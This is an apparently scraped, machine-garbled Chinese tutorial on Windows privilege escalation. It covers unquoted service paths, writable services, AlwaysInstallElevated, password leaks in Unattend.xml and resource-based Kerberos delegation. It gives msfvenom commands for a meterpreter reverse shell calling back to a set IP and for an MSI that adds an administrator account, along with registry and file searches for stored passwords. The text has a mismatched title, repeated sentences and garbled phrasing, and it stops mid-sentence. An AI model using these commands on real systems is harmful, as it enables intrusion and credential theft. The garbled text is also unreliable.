禁止启动文件夹写入程序 (如何设置禁止启动文件夹写入程序)

一、无引号服务路径 ( Trusted Service Paths )

先说实用,更被动,更看脸。

Windows下级服务的权限通常是SYSTEM。如果我们能为恶意程序替换服务的启动程序(如反弹)shell),也就是说,相当于获得SYSTEM权限,达到提权的目的。 无引号服务路径可能会导致这种情况。 所谓无引号服务路径,就是服务启动程序的路径包含空格,不包含引号。比如这样

C:\\Program Files\\floder1\\service.exe

由于空格的存在,Windows启动服务寻找服务启动项时,它将按照以下顺序索启动项目

C:\\Program.exeC:\\Program Files\\Some.exeC:\\Program Files\\Some Folder\\Service.exe

这给了我们一个机会:如果我们有权写入或完全控制服务的上层目录,我们可以在可执行文件中完全放置Windows以更高的顺序搜索服务启动项。

我们用以下命令搜索哪些服务路径不包括引号

wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\\Windows\\\\" |findstr /i /v """

然后使用icacls命令查看在2345Explorer目录的权限如何?

users组是完全控制的(F),然后直接用msfvenom构建反弹shell的exe。命名为Protect.exe,放入2345Explorer目录。我在这里随便编码

msfvenom -p windows/meterpreter/reverse_http -e x86/shikata_ga_nai LHOST=192.168.111.129 LPORT=10068 -f exe -o Protect.exe

msfvenom -p windows/meterpreter/reverse_http -e x86/shikata_ga_nai LHOST=192.168.111.129 LPORT=10068 -f exe -o Protect.exe

现在我们无法重启服务。。。只能等管理员重启服务或机器重启。然后就拿到SYSTEM权限了。但是这里还有一个坑点,如果服务启动后在一定时间内没有与之相处 Service Control Manager(SCM) 通信,会停止。

所以我们必须得到它shell及时转账或添加管理员账户。 转移进程在msf中很简单,meterpreter中先用ps查看过程,随便找一个system记住权限pid,然后 migrate PID 进程迁移可以完成。

先说防治方法。进入登记表修改窗口 HKEY_LOCAL_MACHINE >> SYSTEM >> CurrentControlSet >> Services 在路径下找到有漏洞的服务,修改其ImagePath,在路径前后加个引号。

二、易攻击服务(Vulnerable Services )

看脸也是被动的

这种攻击方法大致分为两类

1.替换服务二进制文件。这种方法相对简单。如果我们有权修改服务二进制文件的目录,我们可以创建恶意程序来替换原来的二进制文件服务。这个比较简单,基本上攻击过程和Trusted Service Paths同样,也是被动等待重启服务才能玩shell,不再演示。

2.修改服务属性。如果我们能修改服务 BINARY_PATH_NAME 属性(本属性用于指向服务的二进制文件),我们可以设置它 BINARY_PATH_NAME 我们的系统命令将在重启服务时执行。

对于后者,我们需要一个工具来快速揭示我们可以修改的服务属性。 我们使用这个工具accesschk.exe,它是微软产出的,基本不报毒。

我们通过该工具执行以下命令

accesschk.exe -uwcqv "Authenticated Users" * /accepteulaoraccesschk.exe -uwcqv "Users" * /accepteula来查看Users组(根据实际情况填写哪个组)对哪些服务有哪些权限?

若有服务service_all_access或下列权限,这意味着它性可以修改。

比如我们对Spooler服务有service_all_access我们可以这样做。

比如我们对Spooler服务有service_all_access我们可以这样做。

通过修改其binPath我们的恶意指令将被执行,等待管理员重启服务。

三、AlwaysInstallElevated

[HKEY_CURRENT_USER\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer]“AlwaysInstallElevated”=dword:00000001[HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer]“AlwaysInstallElevated”=dword:00000001

那么所有msi(windows应用安装程序)将使用SYSTEM权限运行。如果我们在这个时候执行恶意msi程序可以达到提权的目的

同时需要注意的是,这个注册表并不总是存在的。(比如我的实验机我们可以通过reg query验证这两个注册表项的情况

reg query HKCU\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer /v AlwaysInstallElevatedreg query HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer /v AlwaysInstallElevated若均为1,我们可以通过msfvenom生成恶意msi来提权

msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o rotten.msi

然后执行,获得管理员账户。

四、信息泄露Unattend.xml sysprep.xml和sysprep.inf文件GPP.xml 电脑 有一定的信息泄露,它们通常存在于以下路径中

C:\\Windows\\Panther\\C:\\Windows\\Panther\\Unattend\\C:\\Windows\\System32\\C:\\Windows\\System32\\sysprep\\找到后,找到 Unattend.xml 文件中的标签。可以找到用户加密后的密码。可以找到用户加密后的密码。

<UserAccounts> <LocalAccounts> <LocalAccount> <Password> <Value>UEBzc3dvcmQxMjMhUGFzc3dvcmQ=</Value> //PASSWORD <PlainText>false</PlainText> </Password> <Description>Local Administrator</Description> <DisplayName>Administrator</DisplayName> <Group>Administrators</Group> <Name>Administrator</Name> </LocalAccount> </LocalAccounts></UserAccounts>一些敏感文件查询指令C:\\Users\?\Desktop> dir C:\\ /s /b /c | findstr /sr \\*password\\*reg query HKLM /f password /t 电脑 REG_SZ /sreg query HKCU /f password /t REG_SZ /s

五、基于资源的域委派攻击

refer:https://xz.aliyun.com/t/7454

原理的几点:

1.S4U2SELF 协议可以在用户未配置的情况下进行 TrustedToAuthenticationForDelegation 在使用任何协议认证时,都会调用属性(即开启约束性委派),但是返回的ST不能转发。

2.根据资源的约束,委派主机 在被另一台主机委派访问时,S4U2PROXY过程中提交的ST即使不能转发。

2.根据资源的约束,委派主机 在被另一台主机委派访问时,S4U2PROXY过程中提交的ST即使不能转发。KDC仍将恢复有效性ST2。

3.默认情况下,每个普通域的用户可以创建至多十个机器账户( 由MachineAccountQuota属性决定 ), 每个机器账户在创建时都会自动注册SPN: RestrictedKrbHost/domain和HOST/domain这两个SPN

攻击流程:

假设开启基于资源的约束性机器A

1.首先要有一个对当前计算机有写作权限的账户,可以设置A 被 服务访问服务账户。

2.利用当前账户创建机器账户,并将机器账户分配到A 基于资源的约束性委派

3.因为机器账户是我们创建的,我们知道他的密码账户可以使用S4U2SELF协议获得不可转发协议ST。然后用这个不可转发ST通过S4U2PROXY,有效访问是基于资源的约束性委派A cifs服务的ST2。然后用这个不可转发ST通过S4U2PROXY,有效访问是基于资源的约束性委派A cifs服务的ST2。

4.用ST2访问A的CIFS获得服务和权限。

实操

电脑

说白了,这次攻击是提权…

首先,让我们检查域控是否是域控win2012年以上的主机,因为只有这样才能打开 基于资源的约束性分配。

我们使用powersploit下的powerview脚本。执行命令 get-netdomaincontroller

域控可获得WIN版本

然后我们检查用户有权写哪个主机。因为是实验,我们先来看看如何配置用户对机器的权限。

直接在域控上找到主机,然后进入属性中的安全选项卡,添加用户,然后将权限分配给用户。

我们依旧 使用